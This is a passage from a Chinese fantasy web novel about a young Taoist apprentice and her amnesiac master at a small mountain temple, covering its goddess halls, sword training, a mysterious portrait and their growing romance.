对方不由分说接走她两只猫,再一次消失在了密林里。 没了负重,最后也就不到半小时的路程,傅清微加快脚步,跑步到达终点道观。 行李箱和猫都在院子里,穆若水不知道在哪个地方,只闻其声不见其人:“今晚之前我都不想见到你,识相的话就不要再打扰我。” 傅清微仰起脸,见到院墙外四面八方都是树木,似乎在旋转着,女人冷戾的声音也从四面八方传来。 “还有,今天的事你要是敢说出去,我灭你满门!” 她满门就一个人,和两只猫。非要论人的话,肯定是观主。 傅清微也不敢抖机灵说:你不要自杀啊。 面对空旷的院落,乖乖地应承下来。 她先把行李箱推进屋内,回来看院子里的两只猫。 在屋檐下的地面放好食水以后,傅清微先把小三花放了出来,小三花非常有主人翁意识地跟着进了屋,小狸花的门开着,傅清微不管它,她整理好一半行李后来到窗前,看见小狸花在屋檐下干饭。 阳光暖暖地晒在院子里,小狸花和小三花不约而同地选择了穆若水的棺材,躺在上面舒适地舔毛。 傅清微来到厨房,厨房的改造保留了原始的灶台和水缸,特意维持原汁原味。傅清微小时候在农村生活,生火造饭不在话下,烧了一锅水给自己泡了碗泡面。 她端着小凳子坐到外面来吃,没有下饭的秀色,两只猫也很好,浅浅地弯着唇。 傅清微:【我去午睡啦】 不管穆若水是不是让自己别打扰她,要是真的不找她她又要生气了。 女人心,海底针,幸而她已摸得有二三分清。 以前在家午睡,外面时而有人声,车流声,偶尔的装修声,总不可能十分安静。唯有在山野里,除了风声,就是隐约的溪流声,山涧回响,助眠的天然白噪音涤荡人心,傅清微一只手搭在被面上,沉沉地睡了过去。 院子里的两只猫互相依偎,头尾相连团成了一个圆润的猫猫球,轻微地打着呼噜。 门口的高树上,穆若水挑了一根粗壮的树枝靠在上面,单手枕在脑后,闭目浅睡,长长衣摆垂下,被山风轻柔地吹拂,眉眼温柔放松。 …… 傅清微:【我可以随便逛一下吗?】 穆若水:【。】 傅清微收起手机,看向唯一连通前院的一扇门。 虽然她前后加起来在道观呆了一个多月,但是没有经过允许,她一直没有去过道观的正门,也不知道正殿长什么样。 道观一般做成数进纵向的三合院或四合院,类比最典型的故宫,院墙红色和黄色的都有,蓬莱观采用的是红色。主殿分布在中轴线,像阁皂山那样的大门派,甚至有琉璃瓦,金碧辉煌。更有龙虎山之类,雄伟壮观,不输宫殿。 蓬莱观是小庙,傅清微一路穿过去,百步距离,打开了红漆正门。 颜色不似新刷的,但漆并未剥落,像是定期维护过,铜拉环也盘得圆润光滑。 中间是正门,两边略窄的是偏门。 站在正门往上看,悬着“蓬莱观”的三字匾额,毛笔书写,中规中矩,以傅清微的眼力,写字的人功力不深,反而字体有些稚嫩,要么是小孩,要么是初学者写的。 既然穆若水是第一代祖师,那么就是她年轻时候写的。 傅清微越看越喜欢,举起手机拍了张照片。 匾额上积了一层灰尘,傅清微低头用双指放大图片,上面连蛛网都没有,看来道观不仅驱邪,还驱虫。 傅清微站在门口往外又拍了张照,才重新走进里面。 主殿是王母殿,走进来一片阴凉,两个黄色的蒲团放在地上,抬头傅清微便被王母殿的神像震慑住。比起三清、玉帝等这些常常被供奉在主殿的神明,西王母的神像不仅不端庄圣洁,反而充满肃杀与杀伐之气。 作为战争和死亡之神,西王母披散长发,人身而兽形,豹尾虎齿,脚边还趴着一只白虎。 傅清微临时上网查资料,说西王母本来就有两种形态,兽形的西王母代表战争。作为最古老的神明之一,西王母拥有的权柄太多,最著名的嫦娥奔月,就是向西王母求的不死药。 她掌控杀伐,也掌握命运。 后世传说逐渐变味,给她和玉帝配了夫妻,变成瑶池开蟠桃会的女神。 西王母,尊号太虚九光龟台金母元君,《山海经》里记载她“其状如人,豹尾虎齿而善啸,蓬发戴胜”,半人半兽,掌灾祸和刑罚,极为善战。 白虎也有说法,有人说是西王母的使者,也有人说是西王母的原形。 傅清微见多了端庄柔美的女神形象,凶神恶煞的西王母反倒更符合她的审美,震撼她的心灵。 傅清微默默记下了供奉神牌上的西王母尊号,既然是观内供奉的主神,以后她得天天过来上香叩拜。 从主殿出来,左右各一偏殿。 傅清微先去了左边的玄女殿,全称九天玄阳元女圣母大帝玄牝氏。 相传九天玄女是西王母的弟子,曾助黄帝战胜了蚩尤,被民间奉为战神,信仰无数。 右殿则供奉承天效法厚德光大后土皇地祇,人称后土娘娘。 后土除自身权柄外,还掌管冥界,东岳大帝、酆都大帝等都是她的下属。 傅清微一边走一边查,蓬莱观不大,正门三座宫殿,总共就供奉了三位女神,前两个特别能打,后面一个也不是吃素的,按照古老程度,在神话里应该能和西王母打个有来有回。 所以这就是师尊这么厉害又暴躁的原因之一吗? 傅清微开玩笑般的想道。 这几座宫殿和大门一样,都不算脏,因为在室内,遮风挡雨的,神像上的灰尘都很少。 傅清微指腹在案台擦了一下,只积了薄薄的一层灰,她捻掉灰尘。 奇怪。 这里真的没有人打理吗? 还是说穆若水根本没有沉睡那么久,期间她其实一直按部就班地生活在道观中。 看来邱月白顾问说的是真的,她至少三十年前醒过,说不定醒了很长时间。 为什么屋子里的摆设停留在民国时期?为什么她从来不提? 说起来屋子,其实傅清微并没有完整看过所有的房间。 先前她为了找个睡觉的地方才推开了房门,第一间很小,似乎是杂物间。第二间就是她现在入住的,其他的她没敢打开。 或许看过之后,会推翻她目前的假设。 傅清微蹲在地上,拿了根树枝在画圈圈。 她总觉得这样窥探对方的隐私不太好。 算了,还是去练功吧。 傅清微回到后院,扫了眼隔壁和对面两扇关起来的门,进了自己的房间,在书桌铺开符笔和朱砂。 穆若水在天黑后准时出现在厨房。 傅清微的房间在对面,透过开着的窗刚好可以看到她忙碌的身影,她托着下巴入神地看了一会儿,低头重新捧起手里的经书。 当晚傅清微吃到了久违的柴火饭,香得她全程眼含泪光。 穆若水:“……出去别说你是我徒弟。” 傅清微:“呜呜呜师尊。” 穆若水把清水煮的鸡胸肉丢到门口,走回来说:“撒娇也不能掩盖你丢人现眼的事实。” 傅清微捧着饭碗,仰起脸崇拜地说:“我只在你面前丢人现眼。” “你敢丢到外面去试试?小心我清理门户。” “知道啦~” “禁止撒娇,吃饭。” “好的。” 傅清微用比平时更快的速度吃完饭,主动承包了洗碗的工作。冬天蚊虫少,但山上的生态太好,偶尔还是有虫子,两只猫在屋子里你追我赶地玩虫子。 穆若水往门边拍了一张驱虫符,彻底清净了。 她多画了几张,一间房一间房地贴过去。 傅清微看见她从自己房间出来,贴在隔壁关着门的门缝上,趁机问了一句:“这是什么房间?” 穆若水想了想,说:“不知道,书房吧?” 傅清微从对面的厨房走过来,问道:“你没进去看过吗?” 穆若水说:“看过吧?” 刚醒的时候她应该都打开过,但她对万事万物提不起兴趣,根本懒得细看。 看过就是看过,怎么自己都不确定? 傅清微提议:“那我们现在进去看看?” 穆若水无所谓:“你想看就看吧,不过我劝你白天再来。” 傅清微没去深思为什么,她推门而入,一片漆黑,在墙边摸索了半天,说:“怎么没有开关?” 穆若水答得坦然:“因为本来就没有装。” 傅清微:“……” 傅清微:“???” 穆若水解释说:“时间紧张,钱袋子说全部装修来不及,主要就弄了你的房间,和厨房。” 她这个后院用现代的尺度来评价至少有二百平,四五间房,什么工人也没法在半个月内全部施工完毕,加钱也不行——岁主任钞能力也是有极限的。 傅清微问:“那你自己住的屋子呢?” 穆若水话音一顿,说:“你住的那间应该就是我的屋子。” “……” 每一件事都出乎傅清微的意料,也不停地攥住她的心脏,冷不丁的收紧一下。 “你现在住在哪?带我去。” “好吧。”穆若水在她不容置疑的话下没有反驳。 在厨房的隔壁、书房对面,还有一间厢房,傅清微用手电筒的光照了照,靠墙有一张床,是用砖砌起来的那种老式的,近似于炕的,她只有在乡土电视剧才能看到,却比炕要窄得多。 床上铺了一层薄薄的褥子,她用手摸了摸,不仅薄,还一股潮气,被子也是同样,不知道多久没有人住过。或者这里根本就是客房,因为用不上,闲置多年,现在又被她住进来。 屋子里很空,空得只有一张床,连桌子都没有一张,要不是在道观里,恐怕早就是老鼠的天堂。 傅清微的话像是从喉咙里挤出来的,怒火中带着难以察觉的心疼。 “你就住在这里?” “比棺材大点。”反正她又不用盖被子。 “你敢!” “注意你说话的语气!” 两人对上视线,终究是傅清微占了辈分小的劣势,低下头换了副尊敬的口吻:“这里条件太差了,徒儿心里过意不去。如果师尊不嫌弃的话,可以和徒儿睡一间房。” “我嫌弃。” “你说什么?” 穆若水噢了声,也不知道自己为什么见她生气要往回找补:“我的意思是,你睡相不好。” “我们俩睡一起的时候,我睡相不是挺好的吗?” “那你还给我喂——” 这种话题拿到台面上来讲总归直白,当场把傅清微闹了个大红脸。 傅清微红着脸不说话。 穆若水也沉默下来。 “晚上我睡棺材,你睡房间,明天我把被子抱出去晒一晒。” “明早我来晒被子,还有,我睡棺材。” “你想睡就睡吧。”穆若水出了房间。 一阵风掠过密林,已经栖息的鸟雀被她扰得惊起,扑腾了一阵重归寂静。 穆若水奔到温泉池旁,三下五除二把自己泡了进去,热泉的白雾氤氲到她的脸上,也熏出两分淡淡的嫣红。 她泡到半夜才回去,傅清微已经打完坐了,正在房间等她。 见她回来浮现一丝尴尬。 “我打不开棺材盖子。” “不必,你自睡你的床。” 穆若水设想过先让她睡棺材,半夜趁她睡着再把她抱回房间,但天寒地冻,她那个天材地宝冬冷夏冷的棺材没一点防寒措施,她不可能睡得着。 在里面躺半个小时她就要感冒。 “师尊睡哪里?” “你不要管。” “可是……” “别逼我打晕你。”穆若水淡淡道。 “……”傅清微不得不屈服于强权之下,爬上了红木大床,躺进了床的内侧,留出了一大片空位。 穆若水的视线自她身侧的空缺扫过,不知为何也感到一股困意。 她按捺住了跟着躺下来的冲动,越过半张床给傅清微掖了掖被角,隔着被子轻轻拍了拍她的手臂,说:“睡吧,为师看着你睡。” 傅清微只好闭上了眼睛。 穆若水弹指关了灯。 待傅清微睡着以后,她起身走到门口,两手打开了房门。 一阵刺骨的冷风扑面而来,钻入她的脖子。 屋里开了暖气,小三花早就团在傅清微脚边睡着了,连不好相与的小狸花都自觉进了门,窝在角落睡觉。 她,堂堂蓬莱掌门,慈让真人,现在要出去吹冷风,大冬天睡棺材。 穆若水只是不怕冷,不代表她感受不到冷热,谁不喜欢四季如春?屋里三只呼呼大睡,凭什么就她要出去? 避嫌?她是为了避嫌委屈自己的人吗? 当个师傅还当成孙子了。 到底谁才是祖宗? 她就不出去! 穆若水回到床边,越看傅清微睡得香越生气,伸手用力一推,傅清微连人带被子滚过去,撞到墙壁又滚了回来,茫然地睁眼看她:“师尊???” 穆若水板着脸:“里面去点,我要睡床。” “好,你上来吧。” 傅清微连忙贴边,就差把整张床让给她。 穆若水脱了外衣,钻进睡得温热的被子里,人体本能会向热源移动,傅清微先上床许久,睡前还打了坐,真气运行,暖得像个火炉。 察觉到穆若水来回试探的动作,傅清微干脆握住她冰冷的手,整个人侧身向她靠过来。 穆若水听到她好端端地笑了一声。 穆若水以为她在笑自己,恼怒道:“你笑什么?” 傅清微看着她的侧脸轮廓,又笑了笑,说:“没什么,只是想起来,师尊好久没有这么推我了,我好高兴。” 穆若水:“……” 她这徒儿该不会是天生的贱骨头吧? 傅清微用小腿去暖她的脚,在她耳边道:“师尊对我太温柔了,徒儿有时候会不习惯。” 傅清微实在认真,连裤腿都撩起来,穆若水的足尖踩在一片光滑细腻上,来回抵弄,不时将她的一条腿夹在双腿之间,紧紧夹住。 穆若水闭上了眼睛。 “不用暖了,热不起来的,你睡你的。”她将脚抽出来。 “可是……”傅清微抱紧她,仔细感受着怀里的温度,说,“师尊好像正在热起来。” “放开我。”穆若水平静道。 傅清微耽搁了一秒,听话地放开她。 “把腿打开。” 傅清微像是一次只能接受一个指令,把两条腿之间的缝隙张开一点,让她抽回腿。 “手不要牵着我。” “是。” “睡过去一点。”穆若水发出了最后一步指令。 傅清微身子往床的里侧挪了一些,手仍然撑在穆若水的枕边,自上而下望着她微阖的睫毛。 “白天我奖励了师尊那么多次,晚上师尊不打算奖励我吗?” 第70章 “你想要什么奖励?” 借着隐约的光线, 傅清微睫毛下覆,目光微垂,落在了女人唇瓣, 她的皮肤雪白, 唯独唇色总是鲜红, 红得像是饮过血,妖异美丽。 “我想要……” 傅清微手撑在她枕边, 慢慢地俯下身来, 穆若水在这时睁开眼睛,冷静地注视她。 她一双眼在黑夜里视物, 比常人更亮, 漆黑如燧石,反射出冰冷的视线。 无悲无喜无情。 傅清微屈着的手肘怎么也弯不下去,眼神数次落在她唇上又不得不强迫自己移开。 既非两情相悦, 这和趁人之危有什么区别? 傅清微停在半空, 手指伸过去理了理女人鬓角的碎发,说:“想要师尊明日少骂我一次。” 穆若水却平静地说:“我以为你喜欢我骂你。” 傅清微一想也是,改口:“那明日师尊多骂我一次吧。” 穆若水小声嘀咕了句。 傅清微这会离她近, 依稀听清了她说的好像是“贱骨头”。 这句她也喜欢。 她就是喜欢观主对她表露真实情绪的样子,像一个活生生的人。 “师尊……”傅清微虽不打算亲她,却依然仗着徒儿的身份,脸贴过来蹭了蹭她的脖颈, 抱住她的腰。 “师尊,你又热了。” “睡你的觉!” 穆若水把她的脚踹开了点, 手也拿开, 自己一个人躺在外侧等待血液降温,睡着了的傅清微再次滚过来, 把脚架过来压在她腿上。 穆若水:“……” 算了,让它温着也好,目前还可控,不会做出理智之外的事。 被两个人打情骂俏、在床单滚来滚去闹下去的小三花重新跳上了床,窝在了大床外侧的枕边。 * 按理说穆若水不会有窒息感。 但她分明感受到胸口被什么东西压着,她第一反应是傅清微,睡觉又不老实,在被子特意找到她肉厚的地方,足尖一勾,不轻不重地踹了她一脚。 咚的一声。 是傅清微撞到了墙。 但胸口的负担还在。 穆若水睁开眼睛,和小三花圆溜溜的蓝眼睛来了个四目相对。 小三花端端正正地趴在她的胸口揣手手,见她醒了主动仰起脖子发出呼噜声,穆若水伸手挠在它下巴上。 被误会的傅清微醒了过来,委屈道:“师尊。” 穆若水难得心虚地笑了一声。 哈哈。 猫是傅清微养的,她也不是全然无辜……吧? 傅清微一瘸一拐地穿鞋下地,一只手还捂着,瞧得穆若水忍不住怀疑自己:她不是没控制好力道,下手重了? 傅清微在盥洗室洗漱,穆若水抱着猫过来,说:“要不要我帮你按摩一下?” 傅清微把牙膏沫吐了,漱完口,问她:“按哪儿?” 穆若水目光下移。 ……确实也不太方便。 穆若水:“要不我顺便教你认认穴位?”这样就可以假公济私,不是,大公无私了。 傅清微婉拒:“不用了吧。” 她不想大早上就换内裤。 傅清微洗完脸以后,神奇地好了,走路也稳稳当当了——不能再演下去了,再演的话就要被师尊揉屁股瓣了。 比起傅清微这个收养它无微不至的人,小三花更喜欢粘着穆若水,穆若水心情好的时候理它,心情不好的时候当没看见,小猫和主人一样的贱骨头,就爱观主冷脸。 傅清微出了房门后,第一时间把对面厢房的被褥抱到了棺材上晒。 棺材虽然不能睡了,但是用途多得很,可以给小猫睡觉晒太阳,可以给被子晒太阳,也许某一天会把饭菜端到上面吃……不嫌太地狱的话。 用完早餐后,傅清微在穆若水的允许之下,和她一起推开了隔壁关着的门。 阳光涌入,空气中的点点浮尘染成了金色,自由地飞舞。 穆若水说的没错,这是一间正经的书房,正对门一整面墙的柳木书架,大而空旷,一眼就能收进全貌。 桌上文房四宝,几支毛笔悬在架上,镇纸压在宣纸上方,砚台旁边搁着墨块,里面的墨汁已干涸,桌面的灰尘仍然不多,给傅清微的感觉就像有人不久前还用过,只是暂时离开了。 傅清微捻去指尖的灰尘,站在书桌后面打量四周,左手边也是一面书架,不同的是挂了一幅画。 画的是人物,是一个背影。 傅清微把视线从画上挪到了身边的女人身上,诚如穆若水所言,她对一切都不感兴趣,所以只是坐在那里等,等傅清微看完。 傅清微说:“师尊,站起来。” “……” 穆若水想清理门户的第N天。 “对师尊说话,至少要说一个请字。” “请师尊站起来。” 穆若水心里骂骂咧咧地站了起来。 “请师尊走到画的前方,然后转过去,背对我。” 穆若水发誓找机会一定要好好罚她一顿,听话地走到左面的书架前,仰头看了一眼画,和画里的人做了同样的姿势。 单手后背,墨发过腰,宽大的袖袍被风吹起来。 穆若水还贴心地制造了风。 傅清微恍惚地看了一会儿,说:“画的好像是你。” 穆若水从画像前走回来,瞧了瞧,说:“你怎么看出来的?一个背影而已,我还觉得像你呢。” 傅清微:“我都没来过这里,怎么会是我?” 这不是强词夺理嘛。 穆若水:“你换一身衣服站过来,也像你。” 傅清微:“……” 师尊铁了心胡说八道,徒儿也没办法。傅清微走近了去看那幅画,无名无姓,没有落款和钤印,不知道出自谁手,也不知画的是谁。 傅清微不明白很正常,为什么穆若水也一点印象都没有呢? 这不是她的宫观?她不是蓬莱祖师? 傅清微怀疑的目光终于再次落到了穆若水的身上。 穆若水:“……” 这个逆徒,又要大逆不道了! 傅清微静了足足有一分钟的时间,目中狐疑闪动,带着三四分了然。 “师尊,这宫观该不会是你抢来的吧?” 小三花喵的一声从书房炸毛蹿出来,接着是傅清微夺命而逃的身影,穆若水抄了根毛笔在手里,没有动用术法,而是凭借身体素质在她身后追着要打她。 “孽障!给我站住!” 傅清微跑出了道观,选了个方向扎进了林子当中。 反正这座山都是她们俩的,想去哪儿去哪儿。 穆若水的身影出现在她后方,不远不近,撵着她追了半座山头,所到处鸡飞狗跳。 黄松花栗鼠在密林里机灵地蹿过,正要捡一枚果子,两道身影飞掠而过,花栗鼠支起上半身,探头探脑地瞧了瞧。 它收回视线,不远处出现了一只棕色的猫科动物,两只小动物互相观察了对方一会儿,彼此错开了觅食路线。 寂静许久的山林迎来了从未有过的热闹。 头顶的鸟雀衔来虫子进窝,幼鸟在枝头啁啾鸣叫,一派祥和。 傅清微跑了大半座山,微微出汗,感到了些许疲劳,回头求饶道:“我错了师尊,我开玩笑的!” 穆若水继续追,她继续跑。 傅清微山上山下地跑了一个来回,实在跑不动了,就地一坐,说:“我不行了,您罚我吧。” 穆若水用手里的毛笔充当戒尺,打了一下她的手心。 她也想席地而坐,但是不想弄脏衣服,便挽起衣摆半蹲在她身边,不吝夸奖说:“耐力不错。”不枉她故意追她这么久。 “是吧,我也觉得。”傅清微收下夸奖。 “很好,我门下就是要有这种天下第一的自信。” “……”离天下第一还是有不小的距离吧。 傅清微收起玩笑话,仍带着浅浅笑意,说:“所以为什么师尊不知道画上的人是谁?好像对道观也不是很熟的样子?” 穆若水深深地看了她一眼。 “先回去再说。” …… 蓬莱观,红漆正门,两个人并肩坐在门槛上。 “失忆?!”傅清微没想到自己随口一问,能问出这么重大的事情。 穆若水点了点头。 既然她们已成师徒,注定要相依为命,相知相许。如果世界上还有一个人能够知道真相的话,只能是她。 傅清微下意识去握住她一只手,面色凝重:“有其他人知道这件事吗?” 穆若水摇头。 傅清微松了一口气的同时叮嘱她:“千万别再告诉任何人。” 傅清微什么都不了解,但穆若水的价值在这里,万一被人知道她失忆,就有了利用她的把柄。 灵管局之前让她来接触她的事傅清微可还记着呢。 灵管局的正义不代表它所有的立场都是正确的,成大事者不拘小节,有多少人心甘情愿作为被牺牲的小节? 还有她可能会有的仇人。 穆若水没有抽回手,语气却不屑:“我又不是没有脑子,满世界嚷嚷。今日之前,你可有发现一点端倪?” 傅清微还真没有。 她一副高深莫测的样子,还老戴着面具,自带装逼滤镜,谁都想到提到的很多事她都不记得。就算今天她不坦白,傅清微也会觉得观主自有她的道理。 傅清微:“你记得多少?” 穆若水:“0。” 傅清微:“为什么不是1?” 穆若水:“什么意思?” 傅清微:“咳,没什么意思。你什么都不记得了吗?” 穆若水抬起手掌,对着阳光看自己修长如玉的手指,轻描淡写:“也就是忘了名字的程度吧。” 傅清微:“……” 这下真成0了。 更令傅清微惊讶的是,她醒过来的时候连名字都不知道,这么久以来怎么能装得这么到位?没人发现她的破绽? 可一个人时隔百年,不,三十年醒来,性情大变也在情理之中吧?从棺材里苏醒这件事,本身就超越了绝大多数人的认知。 “师尊想找回从前的记忆吗?” “不想。” 傅清微观察了女人的表情,她答得果断,也确实没表现出任何兴趣。 “我从一本书中看到过师尊从前的一些事迹。”傅清微斟酌着说。她不确定她是抵触还是无感,若是前者,她就不往下说了。 “哦。” 这是不想听,还是…… 穆若水看了她一眼,说:“你要是实在想说你就说,别把自己憋坏了。” 傅清微不好意思地笑了一下。 她回忆那本书的记载,说:“你曾经周游济世,救过很多人,是非常有名的一位道士,是个……好人。” 穆若水百无聊赖地对着太阳翻了一下手背。 “可这与我现在又有什么关系?” “师尊不想知道那本书是什么吗?” “不想。”穆若水侧头望她,“你很失望吗?” “没有。” “撒谎。”穆若水看着她隐隐泛红的眼圈,淡淡地说,“因为我不像书里记载的那样好,所以你失望了?” “不是。” “那是什么?”穆若水口头是疑问,内心是笃定。她就是这样的人,绝情绝爱,不通人性,失望也没办法。 “师尊什么样我都喜欢。”傅清微喉头哽咽,低声说,“我只是很伤心。” “我都不伤心,你伤心什么?” “正是因为师尊不感到伤心,我才会难过。” 穆若水心说你跟我这绕口令呢,手上却很诚实地扶住了她的脑袋,体贴地靠在自己的肩膀。 “没什么好伤心的,我现在不是过得很好吗?” 可一个人若没了记忆,不知道自己姓甚名谁,来处去处,面对自己长大的地方,什么都想不起来,这样能叫作很好吗? 那她的不好,会是什么样子? 一个人没了记忆也不是最可怕的,而是她对一切的事物都丧失好奇心,什么都无所谓,包括她自己,从不觉得难过伤心,这样也能叫作很好吗? 穆若水感受不到,可是傅清微能察觉到她内心的空洞,灌进去的风,毫无保留地又吹了出来。 她却说:我过得很好。 肩膀上的一小片衣料又被打湿了。 穆若水未雨绸缪,从衣袖里掏出一小包纸巾,给傅清微擦眼泪。 傅清微:“……” “你哪来的纸巾?” “哦,想着你离下一次哭应该不远,昨天准备的。” “……”傅清微上一次哭还是在昨晚。 “没想到今天就派上用场了。”穆若水补刀。 “你还说。”傅清微红着眼圈嗔道。 “敢哭不敢当,是谁我不说。” 傅清微当场犯上,去推女人的肩膀,穆若水没料到她居然敢,身体向后仰倒,傅清微连忙去拉她,穆若水攥住她的手不放,两个人一起栽进门框里,傅清微跌在穆若水怀里,脸砸在柔软的胸口。 因为太软了,垫在底下根本不疼,傅清微愣了一下神,过后才想起来去听女人的心跳声。 穆若水已经将她推开了。 “胆大妄为。”不轻不重地指责她道。 “徒儿知错。”心照不宣地就坡下驴。 两人重新坐在门口吹了一会儿风,傅清微晨练汗湿的衣服完全干了,她起身说:“我回房洗个澡。” 穆若水:“要不要泡温泉?” 傅清微婉拒:“大白天的,太堕落了。” 穆若水心说晚上也没见你去,昨天她可在温泉里等了大半夜呢。 两人并肩往回走,穆若水扫了眼正殿,现在去拜神也不知道神仙会不会气得当场显灵。 穿过院门,傅清微要进屋洗澡,穆若水在身后叫住她说:“那本书写了什么?待会你给我讲讲?” 谁让她有个脆弱的小徒弟呢? 脆弱但好哄。 傅清微回头,果然欣喜若狂,一副她还有救的样子:“书太杂了,我记了笔记,我带来了,你可以看我的笔记本。” 傅清微冲进屋子里,从背包里翻出一个单独的笔记本递给她。 “我先去洗澡,你在外面看着,我很快就好。” 穆若水翻开笔记本,密密麻麻的十几页字迹,虽然傅清微的字不丑,但一瞬间她还是有点晕字了。 看着那些陌生的事迹,穆若水只能想着“徒儿真是关心为师”“一片孝心”,来勉强自己看下去。 傅清微洗了个三分钟的战斗澡,兴冲冲地出来:“怎么样怎么样?想起什么了吗?” 穆若水合上笔记本,看在傅清微的份上,一忍再忍,没有摆出一张冰块脸。 “毫无印象。” “怎么会这样?”傅清微失望道。 “怎么不会这样?”穆若水冷下声音说,“你既然这么喜欢你的那位悬壶济世的好道长,何必拜我这个不慈不让的为师呢?” “我不是这个意思!” 穆若水懒得陷入无畏的争吵,扭头便走。 傅清微冲上来从后面抱住她的腰,认错得相当干脆。 “我错了!我只喜欢不慈不让的这个!请师尊原谅我!” “不准再提。” “再也不提了,我保证。” 穆若水消了七分怒气,拍了拍她环住自己的手,不知道上哪儿学来的无赖招式,屡试不爽。 傅清微以最快速度把笔记本归位,压进箱底,用行动表示再也不提。 “咚”的一声闷响。 似乎是什么东西砸落在地的声音,傅清微循声来到隔壁书房,罪魁祸首小三花仍站在桌子上,一只爪子拼命扒拉沉重的砚台,地上是刚刚不幸坠落的黄铜镇纸。 咚—— 小三花炮弹落地,翘着毛茸茸的大尾巴跑出门外,还回头瞧她俩,弓起身子随时准备逃跑。 可惜两人都不上当,没一个去追着它玩的,它又迈着小猫步走了回来,跳上了书架,小圆手一勾。 啪—— 又掉下来一本书。 傅清微忍无可忍把猫拎起来,关上了书房门,回来捡起地上的书。 穆若水正在看那幅画,听见她在身后“咦”了一声。 穆若水走到她身边,看向她手里那本封皮朴素的书,里面是一些图画,一个拿剑的小人,比划出各种招式,形象生动。 “师尊,这是什么?” “我自创的剑法。” 傅清微没注意到穆若水的声音有点犹豫。 每一幅图都配了一句心法口诀,是穆若水的字迹。 “你可以照着练。”穆若水说道。她正愁不知道怎么教徒弟,虽然言传身教很好,但有剑谱事半功倍。 傅清微把书收下,翻开了同一格的第二本,是阵法汇总。 小到聚灵阵,大到引雷的上清洞霄阵,还有结界的布法,阐述深入浅出,字迹仍然是同一人的。 第三本是身法。 傅清微把这几本书都粗略地翻了一下,方有了穆若水是一代宗师的实感。 本来以为她这么狂妄自傲之人,是不会将毕生所学都记录下来的,收得了徒能教教,没有徒弟就让它失传也无妨。 “徒儿一定会认真学习的。”傅清微把书抱在怀里,郑重承诺道。有机会的话,她也会将它们传承下去,不堕蓬莱威名。 “嗯。” 穆若水坐在书桌里,偏头就能看到那幅画。 一个穿着道袍的女人的背影,长发一半束起一半落下,背后的乌发被风吹得微乱,宽袍大袖隐隐约约勾勒出玲珑腰身。 画她之人,大抵存的心思也不单纯。 “师尊在看什么?”傅清微停在她身边问,刚刚不还对这幅画不感兴趣吗? “在想她是谁?” “重要吗?” “万一是你那位悬壶济世的好道长呢?”穆若水托着下巴道。 “……” 傅清微被她挤对得哑口无言,穆若水露出满意的神色,起身将视线收回,说:“走,带你去个地方。” “去哪儿?” “跟我来就知道了。” 蓬莱观是座小庙,坐落的山也不大,但东西一点不少,可谓内有乾坤。傅清微看过了温泉,穆若水又带她来到一处密林,早晨傅清微路过过,因为雾气太浓绕道了。 这雾过于眼熟,穆若水停在此处时,傅清微就猜到了。 两人走进了结界里。 周围的鸟叫声消失了,林子还是那个林子,所有的动物和生命气息都不见了。 穆若水说:“蓬莱不比那些大门派,只开辟了一小块地盘,胜在清净,往后你就在这里练习道法,不会引起凡人的注意。” “是,师尊。” “时间紧迫,为师不会给你适应的时间,我先给你演练一遍剑法,你从今天就开始学。” “是。” 穆若水折枝为剑,傅清微掏出手机录像。 穆若水:“……” 现代科技算是给她玩明白了。 有剑谱,有录像,穆若水这个师傅当得比她想象的还要省心。 她回去做午饭了,教了她出来的法子,留傅清微一个人在林子里练习。 白天练了一天的剑,树枝还是有一点勉强,傅清微想起了铁盒子里的木剑,晚饭的时候和穆若水提了,要不用木头削一把凑活用。 穆若水印象里是有一把剑来着,但她忘记放在哪了,初学者立刻用开刃的剑也不好,于是趁傅清微吃饭出去找趁手的木料了,不知道她拿什么削的,拿回来的时候就是一把长约三尺的木剑,搁在傅清微面前。 棺材上的被子晒过后仍然透着一股霉味,傅清微提议扔掉再买一套新的,穆若水当场向占英下达了最新指令。 至于今晚,当然还是她俩凑活睡一张床。 今夜依然无月,但山上的星星足够明亮。 傅清微结束打坐后,给小狸花放了饭,回屋翻看起白日从书房里拿的书籍,她对结界感兴趣,所以先打开了那本阵法汇总,是其中字最多的一本。 傅清微不像穆若水那样晕字,她看得认真仔细,在顺手翻过一页时,眼睛盯住前方皱眉,不确定地又翻了回来。 傅清微在光下对着看书籍夹缝,竖排字的最里面一行用朱笔圈出了两个字,在旁边做了一则更正。 蝇头小字,歪歪扭扭。 ——和穆若水的笔迹截然不同。 这是谁写的?师尊身边有第二个人存在过? 而且这个人肯定和师尊关系匪浅。 傅清微轻轻地抿住了唇。 窗外的虫鸣声从卧室转移到了书房,在穆若水的耳边持续地叫着。 穆若水看着那幅画像正在研墨,砚台里的清水慢慢变得深浓,浓得化不开,就像穆若水此刻心里的疑云。 她从笔架上取了一支细狼毫,笔尖蘸了墨汁,回想着她自创的剑术,在宣纸上落笔。 时间一分一秒地过去,宣纸上出现的只有一堆凌乱的线条,看不出人样,更何况剑招。 穆若水搁下毛笔,定定地看着那张宣纸。 没错,她根本不会画画。 那那本剑谱又是谁画的?为什么会知道她的剑法?自己还主动给对方配了文字。 她最大的缺点就是疏于阵法,傅清微却拿到了一本自己亲笔写的阵法汇总。 她是忘了一项技能,还是忘记了一个对她很重要的人? …… 叩叩—— 傅清微的身影出现在门口:“师尊,该睡觉了。” 穆若水将宣纸粉碎在掌中,细灰扬在了窗外。 傅清微回头看到穆若水站在她身后,也没有太过惊讶,牵起她的手掌说:“走吧,我们去睡觉了。” “嗯。” 不管她忘记了什么,如今傅清微才是她最重要的人。 傅清微脚步蓦地顿了一下,难以置信地垂下眼去。 穆若水的五指从她指缝里细腻地翻上来,缓缓地覆上了她的手背,十指相扣。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 70-80 第71章 穆若水回房以后便松开了傅清微的手。 傅清微观她神色与平常无异, 好似根本不明白十指相扣代表什么。 观主行事随心所欲,可能当时她想这么做,所以就这么做了, 没有深思。 但如果深思的话, 是不是代表她对自己有一丝丝不自知的情愫。 总不会是她突然觉得冷了吧??? 联想到她白天向自己坦白失忆的事, 傅清微总有一种真正清纯的是观主,而自己才是对她图谋不轨的人, 再在暗暗占她便宜的时候多少有些心虚。 傅清微没有追问她缠着她指缝的理由, 问也问不出结果。 观主已然解衣,要就寝了。 傅清微把那本阵法汇总捧过来请教, 一边观察她的表情, 一边问:“这里有一行朱笔圈出来的更正,是师尊写的么?” 穆若水:“哪里?” 在傅清微用手指的情况她才看见那张笔迹歪扭的小字,面不改色地说:“应该是我用左手写的。” 她平常就这副没表情的样子, 傅清微再怎么看她也看不出端倪。 “为什么忽然换左手呢?” “右手写烦了就用左手, 